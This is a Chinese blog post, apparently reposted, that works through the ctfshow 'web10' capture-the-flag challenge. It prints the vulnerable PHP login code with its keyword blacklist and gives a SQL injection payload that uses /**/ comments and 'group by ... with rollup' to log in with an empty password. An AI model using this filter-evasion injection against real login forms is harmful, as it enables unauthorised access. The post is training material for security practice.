码迷,mamicode.com
首页 > Web开发 > 详细

ctfshow10 web

时间:2021-06-15 18:38:24      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:ctf   php   源码   执行   结果   admin   username   name   info   

打开源码看到

技术图片

下来是源码

<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die(‘Could not connect: ‘ . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = ‘$username‘";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row[‘password‘]){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

第四行的语句把常规注入基本都过滤了

这里有两种sql语句

group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

对空格的过滤可以用/**/绕过。

构造一个payload:username=admin‘/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

密码可以为空,因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password‘]

 

抓包执行

技术图片

得到flag

 

ctfshow10 web

标签:ctf   php   源码   执行   结果   admin   username   name   info   

原文地址:https://www.cnblogs.com/lixin666/p/14885161.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!